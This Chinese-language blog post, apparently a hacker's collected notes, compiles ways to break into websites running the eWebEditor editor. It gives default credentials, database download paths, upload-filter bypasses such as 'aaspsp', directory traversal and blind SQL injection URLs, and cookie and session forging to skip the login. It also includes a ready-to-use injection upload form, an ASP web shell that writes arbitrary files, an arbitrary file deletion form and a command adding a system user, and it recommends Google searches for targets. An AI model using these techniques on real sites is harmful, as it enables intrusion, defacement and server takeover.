ewebeditor漏洞利用总结

碰到EWEBEDITOR的比较多,找了些资料,以后方便利用

先来说说第一个:

成功登录后台,发现后台很简陋,只有EWEBEDITOR可以利用,但是登陆后台被删除了(admin_login.asp)。


这时我们可以尝试访问 Admin_Style.asp ,看看他能否正常访问,如果能的话,就可以上传shell了。


第二种方法跟第一种有类似之处。

也是登陆页面被“前人”删掉了,或者密码破解不出来。我们可以尝试这样。

先看看数据库被删掉没。(默认:/db/ewebeditor.mdb)如果没删掉的话,把数据库给Down下来。

然后打开,查看Style这里,看看“前人”有没有留下痕迹(图比较长,截取2段最重要的,拼一块了)。

我们可以看到,前人新建了一个adminone1这个样式,然后把可以上传图片的后缀改为ASA。

下面我们来利用(利用方法可能比较笨)。

在网站后台调用到EWEBEDITOR的页面中,查看源码。

查找到这段:

<IFRAME ID=”eWebEditor1″ SRC=”../eWebEditor/ewebeditor.asp?id=content&style=s_light” FRAMEBORDER=”0″ SCROLLING=”no” WIDTH=”630″ HEIGHT=”420″> </IFRAME>

把那个s_light换成你刚才看到的样式名字,然后把链接补全。

<IFRAME ID=”eWebEditor1″ SRC=www.xxx.com/eWebEditor/ewebeditor.asp?id=content&style=adminone1 FRAMEBORDER=”0″ SCROLLING=”no” WIDTH=”630″ HEIGHT=”420″> </IFRAME>

然后另存为在本地,在本地打开,提交。

如果不出意外,就应该能看到你提交的马了。


首先介绍编辑器的一些默认特征: 
默认登陆admin_login.asp 
默认数据库db/ewebeditor.mdb 
文件名称及路径: 
Admin_Login.asp     登录页面 
Admin_Default.asp   管理首页 
Admin_Style.asp 
Admin_UploadFile.asp 
Upload.asp 
Admin_ModiPwd.asp 
eWebEditor.asp 
db/ewebeditor.mdb   默认数据库路径 
默认帐号admin 密码admin或admin888

利用eWebEditor获得WebShell的步骤大致如下: 
1.确定网站使用了eWebEditor。一般来说,我们只要注意发表帖子(文章)的页面是否有类似做了记号的图标,就可以大致做出判断了。

2.查看源代码,找到eWebEditor的路径。点击“查看源代码”,看看源码中是否存在类似“<iframe ID='eWebEditor1' src='/edit/ewebeditor.asp?id=content&style=web' frameborder=0 scrolling=no width='550' HEIGHT='350'></iframe&gt;”的语句。其实只有发现了存在这样的语句了,才可以真正确定这个网站使用了eWebEditor。然后记下src='***'中的“***”,这就是eWebEditor路径。

3.访问eWebEditor的管理登录页面。eWebEditor的默认管理页面为admin_login.asp,和ewebeditor.asp在同一目录下。以上面的路径为例,我们访问的地址为:http://www.***.net/edit/admin_login.asp,看看是否出现了登录页面。如果没有看到这样的页面,说明管理员已经删除了管理登录页面,呵呵,还等什么,走人啊,换个地方试试。试试默认的用户名:admin,密码:admin888。怎么样?成功了吧(不是默认账户请看后文)!

4.增加上传文件类型。点击“样式管理”,随便选择列表中底下的某一个样式的“设置,为什么要选择列表中底下的样式?因为eWebEditor自带的样式是不允许修改的,当然你也可以拷贝一个新的样式来设置。然后在上传的文件类型中增加“asa”类型。

5.上传ASP木马,获得WebShell。接下来将ASP木马的扩展名修改为asa,就可以简单上传你的ASP木马了。不要问我怎么上传啊,看到 “预览” 了吗?点击“预览”,然后选择“插入其它文件”的按钮就可以了。


漏洞原理 
漏洞的利用原理很简单,请看Upload.asp文件:任何情况下都不允许上传asp脚本文件 sAllowExt = Replace(UCase(sAllowExt), "ASP", "") ,因为eWebEditor仅仅过滤了ASP文件。asa、cer等文件却没有过滤。

高级应用 
eWebEditor的漏洞利用还有一些技巧: 
1.使用默认用户名和密码无法登录。 
请试试直接下载db目录下的ewebeditor.mdb文件,用户名和密码在eWebEditor_System表中,经过了md5加密,如果无法下载或者无法破解,那就当自己的运气不好了。

2.加了asa类型后发现还是无法上传。 
应该是站长懂点代码,自己修改了Upload.asp文件,但是没有关系,按照常人的思维习惯,往往会直接在sAllowExt = Replace(UCase(sAllowExt), "ASP", "")一句上修改,我就看见过一个站长是这样修改的:sAllowExt = Replace(Replace(Replace(Replace(Replace(UCase(sAllowExt), "ASP", ""), "CER", ""), "ASA", ""), "CDX", ""), "HTR", "") 。猛一看什么都过滤了,但是我们只要在上传类型中增加“aaspsp”,就可以直接上传asp文件了。呵呵,是不是天才的想法?“aaspsp”过滤了“asp”字符后,反而变成了“asp”!顺便告诉大家一个秘密,其实动网论坛7.0 sp2中也可以利用类似的方法绕过对扩展名的过滤。

3.上传了asp文件后,却发现该目录没有运行脚本的权限。呵呵,真是好笨啊,上传类型可以改,上传路径不是也可以修改的吗?仔细看看图四。

4.已经使用了第2点中的方法,但是asp类型还是无法上传。 
看来站长肯定是一个写asp的高手,但是我们还有最后一招来对付他:看到图三中的“远程类型”了吗?eWebEditor能够设定自动保存远程文件的类型,我们可以加入asp类型。但是如何才能让远程访问的asp文件能够以源码形式保存呢?方法是很多的,最简单的方法是将IIS中的“应用文件映射”中的“asp”删除。


历遍整个网站目录漏洞

当然.数据库为只读的时候一样可以利用. 
上传文件管理---选择样式目录(随便选一个目录) 
得到: ewebeditor/admin_uploadfile.asp?id=14 ,在id=14后面添加&dir=.. ,再加 &dir=../.. ,&dir=../../../.. 看到整个网站文件了  


eWebEditor session欺骗漏洞

            漏洞文件:Admin_***.asp 
&nbsp;          漏洞语句:<% If Session("eWebEditor_User") = "" Then 
            Response.Redirect "admin_login.asp" 
            Response.End 
            End If 
            只判断了session,没有判断cookies和路径的验证问题。

            漏洞利用: 
            新建一个h4x0r.asp内容如下: 
            <%Session("eWebEditor_User") = "11111111"%> 
            访问h4x0r.asp,再访问后台任何文件,for example:Admin_Default.asp

ASPX版:
受影响文件:eWebEditorNet/upload.aspx
利用方法:添好本地的cer的Shell文件。在浏揽器输入javascript:lbtnUpload.click();就能得到shell。嘿嘿....绕过了限制......成功的上传了ASPX文件....文件默认的上传后保存的地址是eWebEditorNet/UploadFile/现在来看看是否上传成功.....

PHP版:
由于PHP脚本特殊性(默认权限高),这个就不公布太多了
当然简单的,默认后台,默认账户密码:admin admin 还是可以用的
单单这一个不算漏洞的漏洞也能直接拿下很多服务器了,呵呵,很多直接系统权限
shell里直接 net user xxx xxx /add 都是可以的。。。。


后记 
根据自己的经验,几乎只要能进入eWebEditor的后台管理,基本上都可以获得WebShell。在Google上搜索“ewebeditor.asp?id=”能够看到长达十多页的相关信息,我大致抽查了其中几个,发现成功率约为50%。还不错吧?oblg 2.52版以前的版本也是使用eWebEditor,可以去搜索几个来练练手。要命的是eWebEditor的官方网站和帮助文件中根本没有这方面的安全提示。还有,我发现官方提供的测试系统并不存在类似的漏洞,看来不是他们不知道,而是没有把免费用户的网络安危放在心上!

ewebeditor 3.8漏洞[php]

php版ewebeditor 3.8的漏洞 
php版本后台是调用../ewebeditor/admin/config.php,大家去看下源码就知道,在这里我说说利用方法: 
1 首先当然要找到登陆后台,默认是../eWebEditor/admin/login.php,进入后台后随便输入一个用户和密码,当然会提示出错了,必须是出错的时候,然后这时候你清空浏览器的url,然后输入javascript:alert(document.cookie=”adminuser=”+escape(”admin”));javascript:alert(document.cookie=”adminpass=”+escape(”admin”));javascript:alert(document.cookie=”admindj=”+escape(”1″));后三次回车, 
2 然后输入正常情况才能访问的文件../ewebeditor/admin/default.php就可以进后台了 
3 后面的利用和asp一样,新增样式修改上传,就ok了 
测试一下asp 2.8版本的,竟然一样可以用,爽,看来asp版的应该可以通杀(只测试2.8的,貌似2.8是最高版本的) 
aspx的版本../ewebeditor/admin/upload.aspx添好本地的cer的Shell文件,在浏揽器输入javascript:lbtnUpload.click();就能得到shell 
jsp的上传漏洞以及那个出了N久了,由于没有上传按钮,选择好要上传的shell,直接回车就可以了。


==========================

先从最基本的记录起!通常入侵ewebeditor编辑器的步骤如下:
1、首先访问默认管理页看是否存在。
        默认管理页地址2.80以前为 ewebeditor/admin_login.asp 以后版本为admin/login.asp (各种语言的大家自己改后缀,本文就以asp来进行说明,下面不再细说了!)
2、默认管理帐号密码!
        默认管理页存在!我们就用帐号密码登陆!默认帐号密码为: admin admin888 !常用的密码还有admin admin999 admin1 admin000 之类的。
3、默认数据库地址。
        如果密码不是默认的。我们就访问是不是默认数据库!尝试下载数据库得到管理员密码!管理员的帐号密码,都在eWebEditor_System表段里,sys_UserName Sys_UserPass 都是md5加密的。得到了加密密码。可以去www.cmd5.com www.xmd5.org 等网站进行查询!暴力这活好久不干了!也可以丢国外一些可以跑密码的网站去跑!
        默认数据库路径为: ewebeditor/db/ewebeditor.mdb 常用数据库路径为:ewebeditor/db/ewebeditor.asa ewebeditor/db/ewebeditor.asp ewebeditor/db/#ewebeditor.asa ewebeditor/db/#ewebeditor.mdb ewebeditor/db/!@#ewebeditor.asp ewebeditor/db/ewebeditor1033.mdb 等
        很多管理员常改.asp后缀,一般访问.asp .asa 后缀的 都是乱码!可以用下载工具下载下来,然后更改后缀为.mdb 来查看内容!
4、说说漏洞基本利用步骤,还以asp为例!
        登陆后台以后。选择样式管理,默认编辑器的默认样式都不可以修改的。我们可以从任意样式新建一个样式,然后在图片上传添加可上传后缀。.asa .cer .cdx 等!.asp 过滤过了。但是我们可以用.asaspp 后缀来添加,这样上传文件正好被ewebeditor 吃掉asp后缀,剩下.asp 呵呵!代码不详细说了。总之是个很可笑的过滤!同样,如果遇到一个管理员有安全意识的,从代码里,把.asp .asa .cer .cdx 都完全禁止了,我们也可以用.asasaa 后缀来突破。添加完了后缀,可以在样式管理,点击预览,然后上传!
5、默认管理页不存在!
        在实际入侵过程中,有很多默认的管理页不存在的时候。我们可以直接访问样式管理页面 ewebeditor/admin_style.asp 然后用第4步的方式拿webshell。如果样式管理页也不存在的话,我们可以看数据库内的样式表(ewebeditor_style)里面有没有比我们先进去的朋友留下的样式。然后构造上传!具体url如下: eWebEditor/ewebeditor.asp?id=content&style=www 红色部分是我们发现被修改添加了asa后缀的样式名,大家自行修改!
6、ewebeditor的几个版本存在注入!
        ewebeditor 以前版本都存在注入 ewebeditor/ewebeditor.asp?id=article_content&style=Full_v200 !
添加验证字符串,和管理员字段可以跑出管理员的md5加密密码!
       ewebeditor v2.1.6存在注入,可以用union select 添加上传后缀进行上传!先贴漏洞利用方式!
--------------------------------------------------------------------------------------------------------------
<H3>ewebeditor asp版 2.1.6 上传漏洞利用程序----</H3><br><br>
<form action="http://www.xxx.com/ewebeditor/upload.asp?action=save&type=IMAGE&style=standard'union select S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt, [S_ImageExt]%2b'|cer',S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl from ewebeditor_style where s_name='standard'and'a'='a" method=post name=myform enctype="multipart/form-data">
<input type=file name=uploadfile size=100><br><br>
<input type=submit value=Fuck>
</form>
--------------------------------------------------------------------------------------------------------------
        以上代码令存为html!修改红色部分的路径,然后自动上传 .cer 文件!漏洞原因是因为sStyleName变量直接从style中读取,并没有过滤,所以可以包含任意字符!用select在ewebeditor_style表中查找s_name为sStyleName的记录,找不到就提示出错!在sStyleName变量中用union来构造记录,我们可以在sAllowExt中加入"|cer"、"|asa"等!
        另外还有一些版本的ewebeditor的upload.asp文件存在注入漏洞!贴几个注入用的url!信息错误则返回脚本出错的提示,在浏览器左下角!具体利用如下:
ewebeditor/Upload.asp?type=FILE&style=standard_coolblue1'and%20(select%20top%201%20asc(mid(sys_userpass,15,1))%20from%20ewebeditor_system%20)>98%20and%20'1'='1 
注意修改红色部分的字段名、位数、ascii码的值!
7、目录遍历漏洞!
        这里大概说一下!目录遍历漏洞基本存在于ewebeditor/admin_uploadfile.asp 高版本的是ewebeditor/admin/upload.asp 文件!这个文件有的不需要登陆验证,有些需要!很多有经验的管理员会把编辑器的目录设置为只读权限,不可修改!这种情况下,唯一可以利用的也就是利用遍历目录功能查看网站文件,比如数据库路径、后台地址、其他的上传地址、最直观的就是别人留下的小马等等!这些都自由发挥了!说下漏洞利用方法!
        漏洞利用方式如下:在上传文件管理页面 随便选择一个上传样式!比如ewebeditor/admin_uploadfile.asp?id=14 在id后面添加&dir=../.. 
类似如下:webeditor/admin_uploadfile.asp?id=14&dir=../../../../data/ 可以看到网站数据库的路径!
       另外一个遍历目录的漏洞文件是 ewebeditor/asp/browse.asp
漏洞代码为 :
Function GetList() 
Dim s_List, s_Url 
s_List = "" 
Dim oFSO, oUploadFolder, oUploadFiles, oUploadFile, sFileName 
'Response.Write sCurrDir 
'On Error Resume Next 
Set oFSO = Server.CreateObject("Scripting.FileSystemObject") 
Set oUploadFolder = oFSO.GetFolder(Server.MapPath(sCurrDir)) 
'注意一下sCurrDir变量,这个值等下我们可以用到 
If Err.Number>0 Then 
s_List = "" 
Exit Function 
End If

If sDir <> "" Then 
If InstrRev(sDir, "/") > 1 Then 
s_Url= Left(sDir, InstrRev(sDir, "/") - 1) 
Else 
s_Url = "" 
End If

s_List = s_List & "" & _ 
"" & _ 
".." & _ 
" " & _ 
"" 
End If 
'Response.Write sDir&"!"&s_List

Dim oSubFolder 
For Each oSubFolder In oUploadFolder.SubFolders 
'Response.Write oUploadFolder.SubFolders 
If sDir = "" Then 
s_Url = oSubFolder.Name 
Else 
s_Url = sDir & "/" & oSubFolder.Name 
End If 
s_List = s_List & "" & _ 
"" & _ 
"" & oSubFolder.Name & "" & _ 
" " & _ 
"" 
Next 
'Response.Write s_List

Set oUploadFiles = oUploadFolder.Files

For Each oUploadFile In oUploadFiles 
'Response.Write oUploadFile.Name 
sFileName = oUploadFile.Name 
If CheckValidExt(sFileName) = True Then 
'这行让人有点郁闷,检测了所有允许的文件后缀,如不允许就无法列出,不然就不只列出目录名和图片文件了 
If sDir = "" Then 
s_Url = sContentPath & sFileName 
Else 
s_Url = sContentPath & sDir & "/" & sFileName 
End If

s_List = s_List & "" & _ 
"" & FileName2Pic(sFileName) & "" & _ 
"" & sFileName & "" & _ 
"" & GetSizeUnit(oUploadFile.size) & "" & _ 
"" 
End If 
Next 
Set oUploadFolder = Nothing 
Set oUploadFiles = Nothing 
'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url

If sDir = "" Then 
s_Url = "" 
's_Url = "/" 
Else 
s_Url = "/" & sDir & "" 
's_Url = "/" & sDir & "/" 
End If

s_List = s_List & "" 
s_List = HTML2JS(s_List) 
'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url 
s_List = "parent.setDirList(""" & s_List & """, """ & s_Url & """)" 
GetList = s_List 
End Function 
'如果没有下面这步检测的话,应该就可以列出目录中所有的文件了,有点郁闷..现在只能列出允许后缀的文件和目录名 
Function CheckValidExt(s_FileName) 
If sAllowExt = "" Then 
CheckValidExt = True 
Exit Function 
End If

Dim i, aExt, sExt 
sExt = LCase(Mid(s_FileName, InStrRev(s_FileName, ".") + 1)) 
CheckValidExt = False 
aExt = Split(LCase(sAllowExt), "|") 
For i = 0 To UBound(aExt) 
If aExt(i) = sExt Then 
CheckValidExt = True 
Exit Function 
End If 
Next 
End Function 
'我们顺着代码往下找,发现sCurrDir的值是通过下面的值得到的 
Sub InitParam() 
sType = UCase(Trim(Request.QueryString("type"))) 
sStyleName = Trim(Request.QueryString("style"))

Dim i, aStyleConfig, bValidStyle 
bValidStyle = False 
For i = 1 To Ubound(aStyle) 
aStyleConfig = Split(aStyle(i), "|||") 
If Lcase(sStyleName) = Lcase(aStyleConfig(0)) Then 
bValidStyle = True 
Exit For 
End If 
Next

If bValidStyle = False Then 
OutScript("alert('Invalid Style.')") 
End If

sBaseUrl = aStyleConfig(19) 
'nAllowBrowse = CLng(aStyleConfig(43)) 
nAllowBrowse = 1

If nAllowBrowse <> 1 Then 
OutScript("alert('Do not allow browse!')") 
End If

sUploadDir = aStyleConfig(3) 
If Left(sUploadDir, 1) <> "/" Then 
Select Case sType 
Case "REMOTE" 
sUploadDir = "../../" & sUploadDir & "Image/" 
Case "FILE" 
sUploadDir = "../../" & sUploadDir & "Other/" 
Case "MEDIA" 
sUploadDir = "../../" & sUploadDir & "Media/" 
Case "FLASH" 
sUploadDir = "../../" & sUploadDir & "Flash/" 
Case Else 
sUploadDir = "../../" & sUploadDir & "Image/" 
End Select 
End If 
'sUploadDir =sUploadDir &"/"

Select Case sBaseUrl 
Case "0" 
'sContentPath = aStyleConfig(23) 
Select Case sType 
Case "REMOTE" 
sContentPath = "../" & aStyleConfig(3) & "Image/" 
Case "FILE" 
sContentPath = "../" & aStyleConfig(3) & "Other/" 
Case "MEDIA" 
sContentPath = "../" & aStyleConfig(3) & "Media/" 
Case "FLASH" 
sContentPath = "../" & aStyleConfig(3) & "Flash/" 
Case Else 
sContentPath = "../" & aStyleConfig(3) & "Image/" 
End Select 
Case "1" 
sContentPath = RelativePath2RootPath(sUploadDir) 
Case "2" 
sContentPath = RootPath2DomainPath(RelativePath2RootPath(sUploadDir)) 
End Select

Select Case sType 
Case "REMOTE" 
sAllowExt = aStyleConfig(10) 
Case "FILE" 
sAllowExt = aStyleConfig(6) 
Case "MEDIA" 
sAllowExt = aStyleConfig(9) 
Case "FLASH" 
sAllowExt = aStyleConfig(7) 
Case Else 
sAllowExt = aStyleConfig(8) 
End Select

sCurrDir = sUploadDir '注意这里,这个是得到了配置的路径地址 
sDir = Trim(Request("dir")) '得到dir变量 
sDir = Replace(sDir, "\", "/") '对dir变量进行过滤 
sDir = Replace(sDir, "../", "") 
sDir = Replace(sDir, "./", "") 
If sDir <> "" Then 
If CheckValidDir(Server.Mappath(sUploadDir & sDir)) = True Then 
sCurrDir = sUploadDir & sDir & "/" 
'重点就在这里了,看到没有,当sUploadDir & sDir存在的时候,sCurrDir就为sUploadDir & sDir的值了 
'虽然上面对sDir进行了过滤,不过我们完全可以跳过.具体利用下面的利用中给出 
Else 
sDir = "" 
End If 
End If
End Sub
利用方式如下:
http://site/ewebeditor/asp/browse.asp?style=standard650&dir=…././/…././/admin
这样子就可以看到admin的内容了。构造特殊的dir绕过上面的验证!页面空白的时候查看源代码,就可以看到目录列表了! 
8、session欺骗漏洞!
        适用于一些设置不当的虚拟主机。当旁注得到一个webshell,而目标站存在ewebeditor却不能找到密码的时候可以尝试欺骗进入后台!顺序如下: 
          新建一个.asp文件,内容如下: <%Session("eWebEditor_User") = "123132323"%> 然后访问这个文件,再访问ewebeditor/admin_default.asp !欺骗进入后台!不过很老了!
9、 后台跳过认证漏洞!
        访问后台登陆页面!随便输入帐号密码,返回错误!然后清空浏览器,在地址栏输入
javascript:alert(document.cookie="adminuser="+escape("admin")); 
javascript:alert(document.cookie="adminpass="+escape("admin")); 
javascript:alert(document.cookie="admindj="+escape("1"));
         然后再清空地址栏,在路径里输入后台登陆后的页面,比如: admin_default.asp admin/default.asp 等。直接进入后台,利用方式见上文!
10、利用远程上传功能!
        比如s_full样式就存在这个功能,打开编辑页面,然后图片,选择输入url 比如:http://site.com/1.gif.asp ! 然后选择上传远程文件!自动就把1.gif.asp 保存在上传目录内!注:网上的东西大部分传来传去,这个办法愚弄自己还成!文件的确显示后缀为.asp 但是不能访问,因为收集过来的时候自动截止在1.gif了所以后面的.asp等于没有!而且gif的内容就是我们这个url的路径!呵呵,后来又看到一个利用方式!是利用远程搜集的时候执行,我们文件的代码生成另外的小马!
        利用代码如下:
首先建立1.gif.asp 代码如下
<%
Set fs = CreateObject("Scripting.FileSystemObject")
Set MyTextStream=fs.OpenTextFile(server.MapPath("\akteam.asp"),1,false,0)
Thetext=MyTextStream.ReadAll
response.write thetext
%>
在我们的1.gif.asp的同目录下建立一个akteam.asp文件,内容就是我们的小马:
<%on error resume next%>
<%ofso="scripting.filesystemobject"%>
<%set fso=server.createobject(ofso)%>
<%path=request("path")%>
<%if path<>"" then%>
<%data=request("dama")%>
<%set dama=fso.createtextfile(path,true)%>
<%dama.write data%>
<%if err=0 then%>
<%="success"%>
<%else%>
<%="false"%>
<%end if%>
<%err.clear%>
<%end if%>
<%dama.close%>
<%set dama=nothing%>
<%set fos=nothing%>
<%="<form action='' method=post>"%>
<%="<input type=text name=path>"%>
<%="<br>"%>
<%=server.mappath(request.servervariables("script_name"))%>
<%="<br>"%>
<%=""%>
<%="<textarea name=dama cols=50 rows=10 width=30></textarea>"%>
<%="<br>"%>
<%="<input type=submit value=save>"%>
<%="</form>"%>
利用上面说的远程上传的方式!可以得到webshell!成功率取决于,虚拟主机的安全设置!
11、任意文件删除漏洞!
        此漏洞存在于Example\NewsSystem目录下的delete.asp文件中,这是ewebeditor的测试页面,无须登陆可以直接进入!看代码
' 把带"|"的字符串转为数组
Dim aSavePathFileName
aSavePathFileName = Split(sSavePathFileName, "|")
' 删除新闻相关的文件,从文件夹中
Dim i
For i = 0 To UBound(aSavePathFileName)
' 按路径文件名删除文件
Call DoDelFile(aSavePathFileName(i))
Next
而aSavePathFileName是前面从数据库取出来的:
sSavePathFileName = ors("D_SavePathFileName")
看看D_SavePathFileName是怎么添加到数据库里的,在addsave.asp(modifysave.asp)里:sSavePathFileName = GetSafeStr(Request.Form("d_savepathfilename"))
...
ors("D_SavePathFileName") = sSavePathFileName

居然过滤了,是GetSafeStr函数,再看看这个函数,在Startup.asp里:
Function GetSafeStr(str)
GetSafeStr = Replace(Replace(Replace(Trim(str), "'", ""), Chr(34), ""), ";", "")
End Function
        既然路径没有过滤,那就可以直接定义了,构造一个提交页面,其中d_savepathfilename自己任意赋值(要删除多个文件,用|隔开即可)。试试../../eWebEditor.asp,提交后删除该新闻,于是主目录下的eWebEditor.asp不见了!漏洞利用:
<HTML><HEAD><TITLE>eWebEditor删除文件 byldjun(>
新闻列表%20|%20增加新闻
增加新闻
http://127.0.0.1/editor/Example/NewsSystem/addsave.asp" 
method="post" name="myform">
    <input type=hidden name=d_originalfilename>
    <input type=hidden name=d_savefilename>
    <table cellspacing=3 align=center>
<tr><td>要删的文件(相对路径就可以了):</td>
<td><input type="text" name="d_savepathfilename" value="" size="90"></td>
</tr>
<tr><td>新闻标题(随便填):</td>
<td><input type="text" name="d_title" value="" size="90"></td>
</tr>
<tr><td>标题图片:</td>
<td><select name="d_picture" size=1><option value=''>无</option></select>
当编辑区有插入图片时,将自动填充此下拉框</td>
</tr>
<tr><td>新闻内容(随便填):</td>
<td><textarea name="d_content"></textarea></td>
</tr>
</table>
<input type=submit name=btnSubmit value=" 提 交 "> 
<input type=reset name=btnReset value=" 重 填 ">
</form>
</BODY></HTML> 
删除文件漏洞一般是配合其他漏洞使用的,比如目录遍历
<a href='list.asp'>中的list.asp地址要修改
<a href='add.asp'>中的add.asp地址要修改
<form action="http://127.0.0.1/editor/Example/NewsSystem/addsave.asp"
(http://127.0.0.1/editor/Example/NewsSystem/addsave.asp地址要修改)
        另外一个简单利用方式:
<form action="http://www.xxxbing.com/editor/example/newssystem/addsave.asp" method="post">
<input type=hidden name=d_originalfilename value="x">
<input type=hidden name=d_savefilename value="x">
要删除的文件(相对路径,多个文件用“|”隔开)<br>
<input type=text name=d_savepathfilename>
<input type=hidden name="d_title" value="x">
<input type=hidden name="d_picture" value="x">
<textarea name="d_content">x</textarea>
<input type=submit name=btnSubmit value="submit">
</form>

然后得到返回的新闻ID再提交:http://www.XXXXX.com/editor/example/newssystem/delete.asp?id=[id]
        有几个版本的ewebeditor 上传类型是在 security.asp 文件控制的!直接删除该文件可以上传任意webshell! 
12、其他!
        其他说点什么呢!以上的办法都是本人经验和网上搜集!暂时就想到这些了,以后想到了再补全!说说aspx php jsp版本的利用吧!
ASPX版:
受影响文件:eWebEditorNet/upload.aspx
利用方法:添好本地的cer的Shell文件。在浏览器地址栏输入javascript:lbtnUpload.click();就能得到shell。嘿嘿....绕过了限制......成功的上传了ASPX文件....文件默认的上传后保存的地址是eWebEditorNet/UploadFile/现在来看看是否上传成功.....
PHP版本:PhP版本和asp版本利用方式类似!不过php权限较高,不多废话了!
jsp版本:网上有很多jsp的版本,根本没有对上传文件类型进行检测!需要注意的是jsp版本的没有上传按钮!直接选择文件,回车就可以提交了!

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
eWebeditor 5.5 完整破解 加强版目前能完整破解的最高版本,完全破解版 带后台 可以实现word excel的导入 word图片粘贴 IP不受限制 保证能用 功能改进简介 内附使用说明文档   (1) 样式设置中增加颜色选择器设置颜色值   (2) 增加文字水印按图片宽度的50%自动设置文字大小   (3) 增加图片水印按图片宽度的50%自动缩放水印图片。注意使用此功能应使水印图片只缩小不放大 (放大会有马赛克),即水印图片的分辨率尽可能大些。   (4) 水印的位置增加“以上随机”,即系统按原位置可选项(左上、左中、左下、中上、中中、中下 、右上、右中、右下)中随机选取。若文字水印和图片水印同时选择了“以上随机”,能避免两种水印重 叠。   (5) 增加了图片水印文件选择器,可从ewebeditor提供的共享图片、已收传的图片和站点Images文 件夹(注意:站点Images文件夹,必须在网站根目录下,目录名为Images)中选择。   (6) 增加了水印图片透明颜色的设置。去除了原只有透明GIF图片作水印图片,改进后可用任何GIF 、JPG、PNG图片作水印图片,设置透明的颜色后与透明的GIF图片效果相同,甚至比GIF效果更好,因为 JPG和PNG支持更多的颜色。   ⑺ 上传组件增加“风声无组件上传类”强烈推荐使用此组件上传,上传更快,更稳定。有效解决部 分数码照片不能直接上传的问题。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值